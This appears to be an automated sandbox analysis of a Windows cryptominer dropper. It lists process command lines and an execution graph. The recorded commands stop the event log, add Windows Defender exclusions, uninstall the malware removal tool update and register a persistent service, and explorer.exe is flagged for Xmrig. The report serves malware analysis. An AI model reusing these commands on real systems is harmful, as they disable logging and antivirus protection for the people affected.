                                                            Commandline:C:\Windows\system32\sc.exe create "MVYPJKYP" binpath= "C:\ProgramData\dhiulaazuqfi\gbljiflhnnhn.exe" start= "auto"
                                                            Imagebase:0x7ff633660000
                                                            File size:72'192 bytes
                                                            MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                                            Has elevated privileges:true
                                                            Has administrator privileges:true
                                                            Programmed in:C, C++ or other language
                                                            Has exited:true

                                                            General

                                                            Target ID:19
                                                            Start time:13:13:57
                                                            Start date:08/11/2024
                                                            Path:C:\Windows\System32\conhost.exe
                                                            Wow64 process (32bit):false
                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                            Imagebase:0x7ff70f010000
                                                            File size:862'208 bytes
                                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                            Has elevated privileges:true
                                                            Has administrator privileges:true
                                                            Programmed in:C, C++ or other language
                                                            Has exited:true

                                                            General

                                                            Target ID:20
                                                            Start time:13:13:57
                                                            Start date:08/11/2024
                                                            Path:C:\Windows\System32\sc.exe
                                                            Wow64 process (32bit):false
                                                            Commandline:C:\Windows\system32\sc.exe stop eventlog
                                                            Imagebase:0x7ff633660000
                                                            File size:72'192 bytes
                                                            MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                                            Has elevated privileges:true
                                                            Has administrator privileges:true
                                                            Programmed in:C, C++ or other language
                                                            Has exited:true

                                                            General

                                                            Target ID:21
                                                            Start time:13:13:57
                                                            Start date:08/11/2024
                                                            Path:C:\Windows\System32\sc.exe
                                                            Wow64 process (32bit):false
                                                            Commandline:C:\Windows\system32\sc.exe start "MVYPJKYP"
                                                            Imagebase:0x7ff633660000
                                                            File size:72'192 bytes
                                                            MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                                            Has elevated privileges:true
                                                            Has administrator privileges:true
                                                            Programmed in:C, C++ or other language
                                                            Has exited:true

                                                            General

                                                            Target ID:22
                                                            Start time:13:13:58
                                                            Start date:08/11/2024
                                                            Path:C:\Windows\System32\conhost.exe
                                                            Wow64 process (32bit):false
                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                            Imagebase:0x7ff70f010000
                                                            File size:862'208 bytes
                                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                            Has elevated privileges:true
                                                            Has administrator privileges:true
                                                            Programmed in:C, C++ or other language
                                                            Has exited:true

                                                            General

                                                            Target ID:23
                                                            Start time:13:13:58
                                                            Start date:08/11/2024
                                                            Path:C:\Windows\System32\conhost.exe
                                                            Wow64 process (32bit):false
                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                            Imagebase:0x7ff70f010000
                                                            File size:862'208 bytes
                                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                            Has elevated privileges:true
                                                            Has administrator privileges:true
                                                            Programmed in:C, C++ or other language
                                                            Has exited:true

                                                            General

                                                            Target ID:24
                                                            Start time:13:13:58
                                                            Start date:08/11/2024
                                                            Path:C:\ProgramData\dhiulaazuqfi\gbljiflhnnhn.exe
                                                            Wow64 process (32bit):false
                                                            Commandline:C:\ProgramData\dhiulaazuqfi\gbljiflhnnhn.exe
                                                            Imagebase:0x7ff7de5a0000
                                                            File size:2'629'120 bytes
                                                            MD5 hash:5C55DA00932DC856A0EA2300548D7BA8
                                                            Has elevated privileges:true
                                                            Has administrator privileges:true
                                                            Programmed in:C, C++ or other language
                                                            Antivirus matches:
                                                            • Detection: 66%, ReversingLabs
                                                            Has exited:true

                                                            General

                                                            Target ID:25
                                                            Start time:13:13:58
                                                            Start date:08/11/2024
                                                            Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                            Wow64 process (32bit):false
                                                            Commandline:C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                                            Imagebase:0x7ff760310000
                                                            File size:452'608 bytes
                                                            MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                            Has elevated privileges:true
                                                            Has administrator privileges:true
                                                            Programmed in:C, C++ or other language
                                                            Has exited:true

                                                            General

                                                            Target ID:26
                                                            Start time:13:13:58
                                                            Start date:08/11/2024
                                                            Path:C:\Windows\System32\conhost.exe
                                                            Wow64 process (32bit):false
                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                            Imagebase:0x7ff70f010000
                                                            File size:862'208 bytes
                                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                            Has elevated privileges:true
                                                            Has administrator privileges:true
                                                            Programmed in:C, C++ or other language
                                                            Has exited:true

                                                            General

                                                            Target ID:27
                                                            Start time:13:14:00
                                                            Start date:08/11/2024
                                                            Path:C:\Windows\System32\cmd.exe
                                                            Wow64 process (32bit):false
                                                            Commandline:C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                                                            Imagebase:0x7ff7cfd60000
                                                            File size:289'792 bytes
                                                            MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                            Has elevated privileges:true
                                                            Has administrator privileges:true
                                                            Programmed in:C, C++ or other language
                                                            Has exited:true

                                                            General

                                                            Target ID:28
                                                            Start time:13:14:00
                                                            Start date:08/11/2024
                                                            Path:C:\Windows\System32\powercfg.exe
                                                            Wow64 process (32bit):false
                                                            Commandline:C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                                                            Imagebase:0x7ff657310000
                                                            File size:96'256 bytes
                                                            MD5 hash:9CA38BE255FFF57A92BD6FBF8052B705
                                                            Has elevated privileges:true
                                                            Has administrator privileges:true
                                                            Programmed in:C, C++ or other language
                                                            Has exited:true

                                                            General

                                                            Target ID:29
                                                            Start time:13:14:00
                                                            Start date:08/11/2024
                                                            Path:C:\Windows\System32\conhost.exe
                                                            Wow64 process (32bit):false
                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                            Imagebase:0x7ff70f010000
                                                            File size:862'208 bytes
                                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                            Has elevated privileges:true
                                                            Has administrator privileges:true
                                                            Programmed in:C, C++ or other language
                                                            Has exited:true

                                                            General

                                                            Target ID:30
                                                            Start time:13:14:00
                                                            Start date:08/11/2024
                                                            Path:C:\Windows\System32\powercfg.exe
                                                            Wow64 process (32bit):false
                                                            Commandline:C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                                                            Imagebase:0x7ff657310000
                                                            File size:96'256 bytes
                                                            MD5 hash:9CA38BE255FFF57A92BD6FBF8052B705
                                                            Has elevated privileges:true
                                                            Has administrator privileges:true
                                                            Programmed in:C, C++ or other language
                                                            Has exited:true

                                                            General

                                                            Target ID:31
                                                            Start time:13:14:00
                                                            Start date:08/11/2024
                                                            Path:C:\Windows\System32\conhost.exe
                                                            Wow64 process (32bit):false
                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                            Imagebase:0x7ff70f010000
                                                            File size:862'208 bytes
                                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                            Has elevated privileges:true
                                                            Has administrator privileges:true
                                                            Programmed in:C, C++ or other language
                                                            Has exited:true

                                                            General

                                                            Target ID:32
                                                            Start time:13:14:00
                                                            Start date:08/11/2024
                                                            Path:C:\Windows\System32\powercfg.exe
                                                            Wow64 process (32bit):false
                                                            Commandline:C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                                                            Imagebase:0x7ff657310000
                                                            File size:96'256 bytes
                                                            MD5 hash:9CA38BE255FFF57A92BD6FBF8052B705
                                                            Has elevated privileges:true
                                                            Has administrator privileges:true
                                                            Programmed in:C, C++ or other language
                                                            Has exited:true

                                                            General

                                                            Target ID:33
                                                            Start time:13:14:00
                                                            Start date:08/11/2024
                                                            Path:C:\Windows\System32\conhost.exe
                                                            Wow64 process (32bit):false
                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                            Imagebase:0x7ff70f010000
                                                            File size:862'208 bytes
                                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                            Has elevated privileges:true
                                                            Has administrator privileges:true
                                                            Programmed in:C, C++ or other language
                                                            Has exited:true

                                                            General

                                                            Target ID:34
                                                            Start time:13:14:00
                                                            Start date:08/11/2024
                                                            Path:C:\Windows\System32\powercfg.exe
                                                            Wow64 process (32bit):false
                                                            Commandline:C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                                                            Imagebase:0x7ff657310000
                                                            File size:96'256 bytes
                                                            MD5 hash:9CA38BE255FFF57A92BD6FBF8052B705
                                                            Has elevated privileges:true
                                                            Has administrator privileges:true
                                                            Programmed in:C, C++ or other language
                                                            Has exited:true

                                                            General

                                                            Target ID:35
                                                            Start time:13:14:00
                                                            Start date:08/11/2024
                                                            Path:C:\Windows\System32\conhost.exe
                                                            Wow64 process (32bit):false
                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                            Imagebase:0x7ff70f010000
                                                            File size:862'208 bytes
                                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                            Has elevated privileges:true
                                                            Has administrator privileges:true
                                                            Programmed in:C, C++ or other language
                                                            Has exited:true

                                                            General

                                                            Target ID:36
                                                            Start time:13:14:00
                                                            Start date:08/11/2024
                                                            Path:C:\Windows\System32\conhost.exe
                                                            Wow64 process (32bit):false
                                                            Commandline:C:\Windows\system32\conhost.exe
                                                            Imagebase:0x7ff70f010000
                                                            File size:862'208 bytes
                                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                            Has elevated privileges:true
                                                            Has administrator privileges:true
                                                            Programmed in:C, C++ or other language
                                                            Has exited:false

                                                            General

                                                            Target ID:37
                                                            Start time:13:14:00
                                                            Start date:08/11/2024
                                                            Path:C:\Windows\System32\conhost.exe
                                                            Wow64 process (32bit):false
                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                            Imagebase:0x7ff70f010000
                                                            File size:862'208 bytes
                                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                            Has elevated privileges:true
                                                            Has administrator privileges:true
                                                            Programmed in:C, C++ or other language
                                                            Has exited:true

                                                            General

                                                            Target ID:38
                                                            Start time:13:14:00
                                                            Start date:08/11/2024
                                                            Path:C:\Windows\explorer.exe
                                                            Wow64 process (32bit):false
                                                            Commandline:explorer.exe
                                                            Imagebase:0x7ff633410000
                                                            File size:5'141'208 bytes
                                                            MD5 hash:662F4F92FDE3557E86D110526BB578D5
                                                            Has elevated privileges:true
                                                            Has administrator privileges:true
                                                            Programmed in:C, C++ or other language
                                                            Yara matches:
                                                            • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000026.00000002.3777571512.00000000007CB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                            • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000026.00000002.3777571512.0000000000736000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                            • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000026.00000002.3777571512.0000000000750000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                            Has exited:false

                                                            General

                                                            Target ID:39
                                                            Start time:13:14:00
                                                            Start date:08/11/2024
                                                            Path:C:\Windows\System32\wusa.exe
                                                            Wow64 process (32bit):false
                                                            Commandline:wusa /uninstall /kb:890830 /quiet /norestart
                                                            Imagebase:0x7ff78f9c0000
                                                            File size:345'088 bytes
                                                            MD5 hash:FBDA2B8987895780375FE0E6254F6198
                                                            Has elevated privileges:true
                                                            Has administrator privileges:true
                                                            Programmed in:C, C++ or other language
                                                            Has exited:true

                                                            Disassembly

                                                            Reset < >

                                                              Execution Graph

                                                              Execution Coverage:3.5%
                                                              Dynamic/Decrypted Code Coverage:0%
                                                              Signature Coverage:11.8%
                                                              Total number of Nodes:1576
                                                              Total number of Limit Nodes:2
                                                              execution_graph 2700 7ff7657b1140 2703 7ff7657b1160 2700->2703 2702 7ff7657b1156 2704 7ff7657b11b9 2703->2704 2705 7ff7657b118b 2703->2705 2706 7ff7657b11c7 _amsg_exit 2704->2706 2708 7ff7657b11d3 2704->2708 2705->2704 2707 7ff7657b1190 2705->2707 2706->2708 2707->2704 2709 7ff7657b11a0 Sleep 2707->2709 2710 7ff7657b1201 _initterm 2708->2710 2711 7ff7657b121a 2708->2711 2709->2704 2709->2707 2710->2711 2728 7ff7657b1880 2711->2728 2713 7ff7657b1247 SetUnhandledExceptionFilter 2714 7ff7657b126a 2713->2714 2715 7ff7657b126f malloc 2714->2715 2716 7ff7657b128b 2715->2716 2719 7ff7657b12d2 2715->2719 2717 7ff7657b12a0 strlen malloc memcpy 2716->2717 2717->2717 2718 7ff7657b12d0 2717->2718 2718->2719 2738 7ff7657b3b50 2719->2738 2721 7ff7657b1315 2722 7ff7657b1344 2721->2722 2723 7ff7657b1324 2721->2723 2726 7ff7657b1160 93 API calls 2722->2726 2724 7ff7657b1338 2723->2724 2725 7ff7657b132d _cexit 2723->2725 2724->2702 2725->2724 2727 7ff7657b1366 2726->2727 2727->2702 2729 7ff7657b18a2 2728->2729 2734 7ff7657b1a0f 2728->2734 2730 7ff7657b1956 2729->2730 2733 7ff7657b199e 2729->2733 2729->2734 2730->2733 2913 7ff7657b1ba0 2730->2913 2732 7ff7657b19e9 VirtualProtect 2732->2733 2733->2732 2733->2734 2735 7ff7657b1b36 2733->2735 2734->2713 2736 7ff7657b1ba0 4 API calls 2735->2736 2737 7ff7657b1b53 2736->2737 2737->2734 2740 7ff7657b3b66 2738->2740 2739 7ff7657b3c60 wcslen 2923 7ff7657b153f 2739->2923 2740->2739 2745 7ff7657b3d60 2748 7ff7657b3d7a memset wcscat memset 2745->2748 2750 7ff7657b3dd3 2748->2750 2751 7ff7657b3e23 wcslen 2750->2751 2752 7ff7657b3e35 2751->2752 2756 7ff7657b3e7c 2751->2756 2753 7ff7657b3e50 _wcsnicmp 2752->2753 2754 7ff7657b3e66 wcslen 2753->2754 2753->2756 2754->2753 2754->2756 2755 7ff7657b3edd wcscpy wcscat memset 2758 7ff7657b3f1c 2755->2758 2756->2755 2757 7ff7657b4024 wcscpy wcscat 2759 7ff7657b4131 2757->2759 2760 7ff7657b404f memset 2757->2760 2758->2757 3095 7ff7657b2df0 2759->3095 2762 7ff7657b4070 2760->2762 2761 7ff7657b40d5 wcslen 2763 7ff7657b40eb 2761->2763 2768 7ff7657b412c 2761->2768 2762->2761 2765 7ff7657b4100 _wcsnicmp 2763->2765 2767 7ff7657b4116 wcslen 2765->2767 2765->2768 2766 7ff7657b4234 2766->2721 2767->2765 2767->2768 2769 7ff7657b43a3 wcscpy wcscat memset 2768->2769 2771 7ff7657b43e5 2769->2771 2770 7ff7657b442a wcscpy wcscat memset 2772 7ff7657b4470 2770->2772 2771->2770 2773 7ff7657b44d5 wcscpy wcscat memset 2772->2773 2774 7ff7657b451b 2773->2774 2775 7ff7657b454b wcscpy wcscat 2774->2775 2776 7ff7657b6658 memcpy 2775->2776 2777 7ff7657b457d 2775->2777 2776->2777 2778 7ff7657b2df0 11 API calls 2777->2778 2779 7ff7657b472c 2778->2779 2780 7ff7657b2df0 11 API calls 2779->2780 2781 7ff7657b4840 memset 2780->2781 2782 7ff7657b4861 2781->2782 2783 7ff7657b48a4 wcscpy wcscat memset 2782->2783 2785 7ff7657b48ed 2783->2785 2784 7ff7657b4930 wcscpy wcscat wcslen 3107 7ff7657b146d 2784->3107 2785->2784 2788 7ff7657b4a44 2791 7ff7657b4b3a wcslen 2788->2791 2797 7ff7657b4d2d 2788->2797 3267 7ff7657b157b 2791->3267 2792 7ff7657b145e 2 API calls 2792->2788 2796 7ff7657b4d0c memset 2796->2797 2798 7ff7657b4d9d wcscpy wcscat 2797->2798 2802 7ff7657b4dcf 2798->2802 2799 7ff7657b4c9f wcslen 3311 7ff7657b15e4 2799->3311 2804 7ff7657b2df0 11 API calls 2802->2804 2803 7ff7657b145e 2 API calls 2803->2796 2807 7ff7657b4ed7 2804->2807 2805 7ff7657b4bf9 2805->2796 2805->2799 2806 7ff7657b2df0 11 API calls 2808 7ff7657b4fec 2806->2808 2807->2806 2809 7ff7657b2df0 11 API calls 2808->2809 2810 7ff7657b50d6 2809->2810 2811 7ff7657b2df0 11 API calls 2810->2811 2813 7ff7657b51c0 2811->2813 2812 7ff7657b5301 wcslen 2814 7ff7657b157b 2 API calls 2812->2814 2813->2812 2815 7ff7657b538b 2814->2815 2816 7ff7657b5393 memset 2815->2816 2819 7ff7657b54a5 2815->2819 2818 7ff7657b53b4 2816->2818 2817 7ff7657b5404 wcslen 3314 7ff7657b15a8 2817->3314 2818->2817 2821 7ff7657b2df0 11 API calls 2819->2821 2828 7ff7657b5642 _wcsicmp 2819->2828 2827 7ff7657b5550 2821->2827 2823 7ff7657b5474 _wcsnicmp 2824 7ff7657b5499 2823->2824 2832 7ff7657b5c81 2823->2832 2825 7ff7657b145e 2 API calls 2824->2825 2825->2819 2826 7ff7657b2df0 11 API calls 2826->2828 2827->2826 2830 7ff7657b565d memset 2828->2830 2844 7ff7657b59e0 2828->2844 2829 7ff7657b5cde wcslen 2831 7ff7657b15a8 2 API calls 2829->2831 2834 7ff7657b5681 2830->2834 2833 7ff7657b5d3a 2831->2833 2832->2829 2836 7ff7657b145e 2 API calls 2833->2836 2835 7ff7657b56c6 wcscpy wcscat wcslen 2834->2835 2838 7ff7657b146d 2 API calls 2835->2838 2836->2819 2837 7ff7657b5a94 wcslen 2839 7ff7657b153f 2 API calls 2837->2839 2840 7ff7657b5793 2838->2840 2841 7ff7657b5b1f 2839->2841 3331 7ff7657b1530 2840->3331 2843 7ff7657b145e 2 API calls 2841->2843 2846 7ff7657b5b30 2843->2846 2844->2837 2857 7ff7657b5bc7 2846->2857 3577 7ff7657b2f70 2846->3577 2847 7ff7657b57d1 3364 7ff7657b14a9 2847->3364 2848 7ff7657b6e2e 2849 7ff7657b145e 2 API calls 2848->2849 2853 7ff7657b6e3a 2849->2853 2852 7ff7657b5c24 wcslen 2858 7ff7657b5c3a 2852->2858 2874 7ff7657b5c7c 2852->2874 2853->2721 2855 7ff7657b586d 2861 7ff7657b145e 2 API calls 2855->2861 2856 7ff7657b5b5d 3581 7ff7657b38e0 2856->3581 2857->2852 2862 7ff7657b5c50 _wcsnicmp 2858->2862 2866 7ff7657b5861 2861->2866 2863 7ff7657b5c66 wcslen 2862->2863 2862->2874 2863->2862 2863->2874 3506 7ff7657b3350 memset 2866->3506 2867 7ff7657b5de9 memset wcscpy wcscat 2870 7ff7657b2f70 2 API calls 2867->2870 2868 7ff7657b5855 2871 7ff7657b145e 2 API calls 2868->2871 2869 7ff7657b14c7 2 API calls 2872 7ff7657b5bb9 2869->2872 2875 7ff7657b5e40 2870->2875 2871->2866 2872->2857 2878 7ff7657b145e 2 API calls 2872->2878 2874->2867 2877 7ff7657b3350 11 API calls 2875->2877 2880 7ff7657b5e58 2877->2880 2878->2857 2881 7ff7657b14c7 2 API calls 2880->2881 2882 7ff7657b5e86 memset 2881->2882 2885 7ff7657b5ea7 2882->2885 2883 7ff7657b2df0 11 API calls 2893 7ff7657b5945 2883->2893 2884 7ff7657b58bc 2884->2883 2886 7ff7657b5ef7 wcslen 2885->2886 2887 7ff7657b5f47 wcscat memset 2886->2887 2888 7ff7657b5f09 2886->2888 2895 7ff7657b5f81 2887->2895 2890 7ff7657b5f20 _wcsnicmp 2888->2890 2890->2887 2892 7ff7657b5f32 wcslen 2890->2892 2891 7ff7657b2df0 11 API calls 2891->2766 2892->2887 2892->2890 2893->2891 2894 7ff7657b5ff1 wcscpy wcscat 2896 7ff7657b6023 2894->2896 2895->2894 2897 7ff7657b6da2 memcpy 2896->2897 2898 7ff7657b6160 2896->2898 2897->2898 2899 7ff7657b621f wcslen 2898->2899 2900 7ff7657b153f 2 API calls 2899->2900 2901 7ff7657b62aa 2900->2901 2902 7ff7657b145e 2 API calls 2901->2902 2903 7ff7657b62bb 2902->2903 2904 7ff7657b635a 2903->2904 2906 7ff7657b2f70 2 API calls 2903->2906 2905 7ff7657b145e 2 API calls 2904->2905 2905->2766 2907 7ff7657b62e8 2906->2907 2908 7ff7657b38e0 11 API calls 2907->2908 2909 7ff7657b6314 2908->2909 2910 7ff7657b14c7 2 API calls 2909->2910 2911 7ff7657b634c 2910->2911 2911->2904 2912 7ff7657b145e 2 API calls 2911->2912 2912->2904 2915 7ff7657b1bc2 2913->2915 2914 7ff7657b1c04 memcpy 2914->2730 2915->2914 2917 7ff7657b1c45 VirtualQuery 2915->2917 2918 7ff7657b1cf4 2915->2918 2917->2918 2922 7ff7657b1c72 2917->2922 2919 7ff7657b1d23 GetLastError 2918->2919 2920 7ff7657b1d37 2919->2920 2921 7ff7657b1ca4 VirtualProtect 2921->2914 2921->2919 2922->2914 2922->2921 3604 7ff7657b1394 2923->3604 2925 7ff7657b154e 2926 7ff7657b1394 2 API calls 2925->2926 2927 7ff7657b155d 2926->2927 2928 7ff7657b1394 2 API calls 2927->2928 2929 7ff7657b156c 2928->2929 2930 7ff7657b1394 2 API calls 2929->2930 2931 7ff7657b157b 2930->2931 2932 7ff7657b1394 2 API calls 2931->2932 2933 7ff7657b158a 2932->2933 2934 7ff7657b1394 2 API calls 2933->2934 2935 7ff7657b1599 2934->2935 2936 7ff7657b15a8 2935->2936 2937 7ff7657b1394 2 API calls 2935->2937 2938 7ff7657b1394 2 API calls 2936->2938 2937->2936 2939 7ff7657b15b7 2938->2939 2940 7ff7657b1394 2 API calls 2939->2940 2941 7ff7657b15c1 2940->2941 2942 7ff7657b15c6 2941->2942 2943 7ff7657b1394 2 API calls 2941->2943 2944 7ff7657b1394 2 API calls 2942->2944 2943->2942 2945 7ff7657b15d0 2944->2945 2946 7ff7657b15d5 2945->2946 2947 7ff7657b1394 2 API calls 2945->2947 2948 7ff7657b1394 2 API calls 2946->2948 2947->2946 2949 7ff7657b15df 2948->2949 2950 7ff7657b15e4 2949->2950 2951 7ff7657b1394 2 API calls 2949->2951 2952 7ff7657b1394 2 API calls 2950->2952 2951->2950 2953 7ff7657b15f3 2952->2953 2953->2766 2954 7ff7657b1503 2953->2954 2955 7ff7657b1394 2 API calls 2954->2955 2956 7ff7657b150d 2955->2956 2957 7ff7657b1394 2 API calls 2956->2957 2958 7ff7657b1512 2957->2958 2959 7ff7657b1394 2 API calls 2958->2959 2960 7ff7657b1521 2959->2960 2961 7ff7657b1394 2 API calls 2960->2961 2962 7ff7657b1530 2961->2962 2963 7ff7657b1394 2 API calls 2962->2963 2964 7ff7657b153f 2963->2964 2965 7ff7657b1394 2 API calls 2964->2965 2966 7ff7657b154e 2965->2966 2967 7ff7657b1394 2 API calls 2966->2967 2968 7ff7657b155d 2967->2968 2969 7ff7657b1394 2 API calls 2968->2969 2970 7ff7657b156c 2969->2970 2971 7ff7657b1394 2 API calls 2970->2971 2972 7ff7657b157b 2971->2972 2973 7ff7657b1394 2 API calls 2972->2973 2974 7ff7657b158a 2973->2974 2975 7ff7657b1394 2 API calls 2974->2975 2976 7ff7657b1599 2975->2976 2977 7ff7657b15a8 2976->2977 2978 7ff7657b1394 2 API calls 2976->2978 2979 7ff7657b1394 2 API calls 2977->2979 2978->2977 2980 7ff7657b15b7 2979->2980 2981 7ff7657b1394 2 API calls 2980->2981 2982 7ff7657b15c1 2981->2982 2983 7ff7657b15c6 2982->2983 2984 7ff7657b1394 2 API calls 2982->2984 2985 7ff7657b1394 2 API calls 2983->2985 2984->2983 2986 7ff7657b15d0 2985->2986 2987 7ff7657b15d5 2986->2987 2988 7ff7657b1394 2 API calls 2986->2988 2989 7ff7657b1394 2 API calls 2987->2989 2988->2987 2990 7ff7657b15df 2989->2990 2991 7ff7657b15e4 2990->2991 2992 7ff7657b1394 2 API calls 2990->2992 2993 7ff7657b1394 2 API calls 2991->2993 2992->2991 2994 7ff7657b15f3 2993->2994 2994->2745 2995 7ff7657b156c 2994->2995 2996 7ff7657b1394 2 API calls 2995->2996 2997 7ff7657b157b 2996->2997 2998 7ff7657b1394 2 API calls 2997->2998 2999 7ff7657b158a 2998->2999 3000 7ff7657b1394 2 API calls 2999->3000 3001 7ff7657b1599 3000->3001 3002 7ff7657b15a8 3001->3002 3003 7ff7657b1394 2 API calls 3001->3003 3004 7ff7657b1394 2 API calls 3002->3004 3003->3002 3005 7ff7657b15b7 3004->3005 3006 7ff7657b1394 2 API calls 3005->3006 3007 7ff7657b15c1 3006->3007 3008 7ff7657b15c6 3007->3008 3009 7ff7657b1394 2 API calls 3007->3009 3010 7ff7657b1394 2 API calls 3008->3010 3009->3008 3011 7ff7657b15d0 3010->3011 3012 7ff7657b15d5 3011->3012 3013 7ff7657b1394 2 API calls 3011->3013 3014 7ff7657b1394 2 API calls 3012->3014 3013->3012 3015 7ff7657b15df 3014->3015 3016 7ff7657b15e4 3015->3016 3017 7ff7657b1394 2 API calls 3015->3017 3018 7ff7657b1394 2 API calls 3016->3018 3017->3016 3019 7ff7657b15f3 3018->3019 3019->2745 3020 7ff7657b145e 3019->3020 3021 7ff7657b1394 2 API calls 3020->3021 3022 7ff7657b146d 3021->3022 3023 7ff7657b1394 2 API calls 3022->3023 3024 7ff7657b147c 3023->3024 3025 7ff7657b1394 2 API calls 3024->3025 3026 7ff7657b148b 3025->3026 3027 7ff7657b149a 3026->3027 3028 7ff7657b1394 2 API calls 3026->3028 3029 7ff7657b1394 2 API calls 3027->3029 3028->3027 3030 7ff7657b14a4 3029->3030 3031 7ff7657b14a9 3030->3031 3032 7ff7657b1394 2 API calls 3030->3032 3033 7ff7657b1394 2 API calls 3031->3033 3032->3031 3034 7ff7657b14b3 3033->3034 3035 7ff7657b14b8 3034->3035 3036 7ff7657b1394 2 API calls 3034->3036 3037 7ff7657b1394 2 API calls 3035->3037 3036->3035 3038 7ff7657b14c2 3037->3038 3039 7ff7657b14c7 3038->3039 3040 7ff7657b1394 2 API calls 3038->3040 3041 7ff7657b1394 2 API calls 3039->3041 3040->3039 3042 7ff7657b14d6 3041->3042 3043 7ff7657b1394 2 API calls 3042->3043 3044 7ff7657b14e0 3043->3044 3045 7ff7657b14e5 3044->3045 3046 7ff7657b1394 2 API calls 3044->3046 3047 7ff7657b1394 2 API calls 3045->3047 3046->3045 3048 7ff7657b14ef 3047->3048 3049 7ff7657b14f4 3048->3049 3050 7ff7657b1394 2 API calls 3048->3050 3051 7ff7657b1394 2 API calls 3049->3051 3050->3049 3052 7ff7657b14fe 3051->3052 3053 7ff7657b1503 3052->3053 3054 7ff7657b1394 2 API calls 3052->3054 3055 7ff7657b1394 2 API calls 3053->3055 3054->3053 3056 7ff7657b150d 3055->3056 3057 7ff7657b1394 2 API calls 3056->3057 3058 7ff7657b1512 3057->3058 3059 7ff7657b1394 2 API calls 3058->3059 3060 7ff7657b1521 3059->3060 3061 7ff7657b1394 2 API calls 3060->3061 3062 7ff7657b1530 3061->3062 3063 7ff7657b1394 2 API calls 3062->3063 3064 7ff7657b153f 3063->3064 3065 7ff7657b1394 2 API calls 3064->3065 3066 7ff7657b154e 3065->3066 3067 7ff7657b1394 2 API calls 3066->3067 3068 7ff7657b155d 3067->3068 3069 7ff7657b1394 2 API calls 3068->3069 3070 7ff7657b156c 3069->3070 3071 7ff7657b1394 2 API calls 3070->3071 3072 7ff7657b157b 3071->3072 3073 7ff7657b1394 2 API calls 3072->3073 3074 7ff7657b158a 3073->3074 3075 7ff7657b1394 2 API calls 3074->3075 3076 7ff7657b1599 3075->3076 3077 7ff7657b15a8 3076->3077 3078 7ff7657b1394 2 API calls 3076->3078 3079 7ff7657b1394 2 API calls 3077->3079 3078->3077 3080 7ff7657b15b7 3079->3080 3081 7ff7657b1394 2 API calls 3080->3081 3082 7ff7657b15c1 3081->3082 3083 7ff7657b15c6 3082->3083 3084 7ff7657b1394 2 API calls 3082->3084 3085 7ff7657b1394 2 API calls 3083->3085 3084->3083 3086 7ff7657b15d0 3085->3086 3087 7ff7657b15d5 3086->3087 3088 7ff7657b1394 2 API calls 3086->3088 3089 7ff7657b1394 2 API calls 3087->3089 3088->3087 3090 7ff7657b15df 3089->3090 3091 7ff7657b15e4 3090->3091 3092 7ff7657b1394 2 API calls 3090->3092 3093 7ff7657b1394 2 API calls 3091->3093 3092->3091 3094 7ff7657b15f3 3093->3094 3094->2745 3614 7ff7657b2660 3095->3614 3097 7ff7657b2e00 memset 3098 7ff7657b2e3c 3097->3098 3616 7ff7657b2690 3098->3616 3101 7ff7657b145e 2 API calls 3102 7ff7657b2f35 3101->3102 3103 7ff7657b2f53 3102->3103 3649 7ff7657b1512 3102->3649 3105 7ff7657b145e 2 API calls 3103->3105 3106 7ff7657b2f5d 3105->3106 3106->2766 3108 7ff7657b1394 2 API calls 3107->3108 3109 7ff7657b147c 3108->3109 3110 7ff7657b1394 2 API calls 3109->3110 3111 7ff7657b148b 3110->3111 3112 7ff7657b149a 3111->3112 3113 7ff7657b1394 2 API calls 3111->3113 3114 7ff7657b1394 2 API calls 3112->3114 3113->3112 3115 7ff7657b14a4 3114->3115 3116 7ff7657b14a9 3115->3116 3117 7ff7657b1394 2 API calls 3115->3117 3118 7ff7657b1394 2 API calls 3116->3118 3117->3116 3119 7ff7657b14b3 3118->3119 3120 7ff7657b14b8 3119->3120 3121 7ff7657b1394 2 API calls 3119->3121 3122 7ff7657b1394 2 API calls 3120->3122 3121->3120 3123 7ff7657b14c2 3122->3123 3124 7ff7657b14c7 3123->3124 3125 7ff7657b1394 2 API calls 3123->3125 3126 7ff7657b1394 2 API calls 3124->3126 